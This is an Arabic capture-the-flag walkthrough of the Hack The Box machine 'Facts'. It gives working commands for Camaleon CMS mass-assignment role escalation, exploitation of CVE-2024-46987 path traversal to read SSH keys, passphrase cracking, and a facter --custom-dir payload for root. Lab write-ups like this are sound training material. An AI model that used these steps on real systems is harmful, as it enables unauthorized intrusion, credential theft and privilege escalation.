HTB Facts — الشرح الكامل

الصعوبة: متوسط
نظام التشغيل: Linux
الوسوم: Web, MinIO, Camaleon CMS, Path Traversal, SSTI, Privilege Escalation

جدول المحتويات

1. الاستطلاع
2. تعداد الويب — المنفذ 80
3. اكتشاف MinIO — المنفذ 54321
4. Camaleon CMS — وصول المسؤول
5. تصعيد الامتيازات إلى دور المسؤول
6. اكتشاف بيانات اعتماد MinIO
7. قراءة ملفات عشوائية — CVE-2024-46987
8. وصول SSH كمستخدم trivia
9. تصعيد الامتيازات إلى الجذر
10. الأعلام

الاستطلاع

ابدأ بفحص شامل لمنافذ TCP لتحديد الخدمات المفتوحة.

nmap -p- --min-rate 5000 -T4 10.129.244.96

النتائج:

أضف الهدف إلى /etc/hosts:

echo "10.129.244.96 facts.htb" >> /etc/hosts

تعداد الويب — المنفذ 80

تصفّح http://facts.htb يكشف عن موقع معلومات عامة مبني على Camaleon CMS (Ruby on Rails). المؤشرات الرئيسية:

• اسم الكوكيز: _factsapp_session (جلسة Rails)
• مسارات الأصول: /assets/themes/camaleon_first/
• رمز CSRF في وسمات meta
• الخادم: nginx/1.26.3 (Ubuntu)

عدد خريطة الموقع لجميع الصفحات المتاحة:

curl -s http://facts.htb/sitemap.xml

مسارات بارزة تم اكتشافها:

• /admin → يعيد التوجيه إلى /admin/login
• /rss
• صفحات معلومات عامة متنوعة: /animal-ejected, /anne-frank, إلخ.

افحص لوحة تسجيل دخول المسؤول:

curl -v http://facts.htb/admin
# → 302 redirect to /admin/login

اكتشاف MinIO — المنفذ 54321

اختبار المنفذ غير المعروف باستخدام curl يكشف عن MinIO، وهي خدمة تخزين كائنات متوافقة مع S3:

curl -v http://facts.htb:54321

الاستجابة:

<Error>
  <Code>AccessDenied</Code>
  <Message>Access Denied.</Message>
</Error>

تؤكد الترويسات: Server: MinIO

عدد أسماء الحاويات (Buckets) المحتملة (جميعها تُرجع 403، مما يؤكد وجودها):

for bucket in facts backup uploads media files images data private secret admin internal; do
  code=$(curl -s -o /dev/null -w "%{http_code}" http://facts.htb:54321/$bucket)
  echo "$bucket: $code"
done

جميعها تُرجع 403 Forbidden — الحاويات موجودة ولكنها تتطلب بيانات اعتماد.

Camaleon CMS — وصول المسؤول

التعرف على نظام CMS

من مسارات الأصول وكوكيز الجلسة، تم التعرف على نظام CMS باسم Camaleon CMS.

افحص الثغرات المعروفة:

searchsploit camaleon

النتائج:

Camaleon CMS v2.7.0 - Server-Side Template Injection (SSTI)   | ruby/webapps/51489.txt

تم تأكيد إصدار لوحة المسؤول كـ 2.9.0 (ظاهر في التذييل بعد تسجيل الدخول).

إنشاء حساب

تحتوي صفحة تسجيل دخول المسؤول على http://facts.htb/admin/login على رابط "إنشاء حساب". سجّل حسابًا جديدًا:

• انتقل إلى http://facts.htb/admin/users/sign_up
• أدخل أي بيانات اعتماد صالحة (مثل: test123 / test123)
• أرسل — يؤدي ذلك إلى إنشاء حساب بدور Client

بعد التسجيل، سجّل الدخول إلى لوحة تحكم المسؤول. يمتلك الحساب صلاحيات Client محدودة.

تصعيد الامتيازات إلى دور المسؤول

ثغرة الإسناد الجماعي (Mass Assignment)

Camaleon CMS عرضة لهجوم الإسناد الجماعي على نقطة تغيير كلمة المرور. من خلال اعتراض طلب تغيير كلمة المرور وحقن معامل password[role]، يمكن للمهاجم تصعيد دوره إلى admin.

الخطوات باستخدام Burp Suite:

1. سجّل الدخول إلى لوحة المسؤول بحساب Client.
2. انتقل إلى Profile → Edit → Change Password.
3. أدخل أي كلمة مرور جديدة وانقر على Process.
4. اعترض طلب POST في Burp Suite.
5. أضف &password[role]=admin إلى نص الطلب:

_method=patch&authenticity_token=<TOKEN>&password%5Bpassword%5D=test123&password%5Bpassword_confirmation%5D=test123&password[role]=admin

6. مرّر الطلب — يجب أن يكون الرد 200 OK.
7. سجّل الدخول مجددًا ببيانات الاعتماد المحدّثة.

أصبح الحساب الآن بصلاحيات admin، مما يمنح وصولًا كاملًا إلى لوحة إدارة CMS بما في ذلك Settings وMedia وFilesystem Settings.

اكتشاف بيانات اعتماد MinIO

بصلاحيات المسؤول، انتقل إلى:

Settings → General Site → Filesystem Settings

تكشف الصفحة عن بيانات اعتماد MinIO (متوافقة مع AWS S3) مضمّنة في الكود:

AWS S3 Access Key:    AKIA59D605615FFC8875
AWS S3 Secret Key:    O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt
AWS S3 Bucket Name:   randomfacts
AWS S3 Region:        us-east-1
AWS S3 Endpoint:      http://localhost:54321

قم بإعداد AWS CLI وعدد الحاويات:

export AWS_ACCESS_KEY_ID='AKIA59D605615FFC8875'
export AWS_SECRET_ACCESS_KEY='O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt'
export AWS_DEFAULT_REGION='us-east-1'

aws s3 ls --endpoint-url http://facts.htb:54321

الحاويات المكتشفة:

2025-09-11  internal
2025-09-11  randomfacts

تحتوي حاوية internal على الدليل الرئيسي لمستخدم trivia:

aws s3 ls s3://internal/ --endpoint-url http://facts.htb:54321
aws s3 ls s3://internal/.ssh/ --endpoint-url http://facts.htb:54321

# Download the SSH private key
aws s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519 --endpoint-url http://facts.htb:54321

قراءة ملفات عشوائية — CVE-2024-46987

بدلاً من ذلك، يمكن استرجاع مفتاح SSH الخاص عبر CVE-2024-46987، وهي ثغرة اجتياز مسار (Path Traversal) تتطلب مصادقة في Camaleon CMS تسمح بقراءة ملفات الخادم العشوائية.

استنسخ الـ PoC العام:

git clone https://github.com/Goultarde/CVE-2024-46987
cd CVE-2024-46987

اقرأ الملفات الحساسة:

# Step 1: Read /etc/passwd to enumerate system users
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /etc/passwd

الخرج (الأسطر ذات الصلة):

trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash

تم تحديد مستخدمين: trivia وwilliam. نظرًا لأن trivia يملك قشرة تسجيل دخول ودليلًا رئيسيًا، افحص عن مفتاح SSH خاص:

# Step 2: Read trivia's SSH private key
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /home/trivia/.ssh/id_ed25519

احفظ مخرجات المفتاح في ملف:

chmod 600 id_ed25519

وصول SSH كمستخدم trivia

كسر عبارة مرور مفتاح SSH

مفتاح SSH الخاص مشفّر بعبارة مرور. استخدم ssh2john وjohn لكسرها:

ssh2john id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt

عبارة المرور التي تم كسرها: dragonballz

تسجيل الدخول عبر SSH

ssh -i id_ed25519 [email protected]
# Enter passphrase: dragonballz

استرجع علم المستخدم:

cat /home/william/user.txt

تصعيد الامتيازات إلى الجذر

صلاحيات Sudo

افحص صلاحيات sudo لمستخدم trivia:

sudo -l

الخرج:

User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

يمكن للمستخدم تشغيل /usr/bin/facter كجذر بدون كلمة مرور. facter هي أداة معلومات نظام مبنية على Ruby.

GTFOBins — facter

وفقًا لـ GTFOBins، يمكن لـ facter تحميل ملفات Ruby المخصصة عبر --custom-dir، ويتم تنفيذها كمستخدم يشغّل الأمر (الجذر في هذه الحالة).

الاستغلال:

# Create exploit directory and Ruby payload
mkdir -p /tmp/exploit_facts
cat > /tmp/exploit_facts/evil.rb << 'EOF'
system("chmod +s /bin/bash")
EOF

# Execute facter as root with the custom directory
sudo /usr/bin/facter --custom-dir=/tmp/exploit_facts/ x

# Verify SUID bit is set on bash
ls -la /bin/bash
# -rwsr-sr-x 1 root root ...

# Spawn root shell
/bin/bash -p

استرجاع علم الجذر

whoami
# root

cat /root/root.txt

الأعلام

ملخص سلسلة الهجوم

Nmap Scan
    ↓
Port 80: Camaleon CMS 2.9.0
    ↓
Register Client Account → Admin Panel
    ↓
Mass Assignment: password[role]=admin → Admin Role
    ↓
Admin Settings → MinIO Credentials Exposed
    ↓
CVE-2024-46987: Path Traversal → Read /home/trivia/.ssh/id_ed25519
    ↓
ssh2john + John → Passphrase: dragonballz
    ↓
SSH Login as trivia
    ↓
sudo facter --custom-dir (GTFOBins) → chmod +s /bin/bash
    ↓
/bin/bash -p → root

CVEs والمراجع

• GTFOBins — facter
• CVE-2024-46987 PoC
• Camaleon CMS GitHub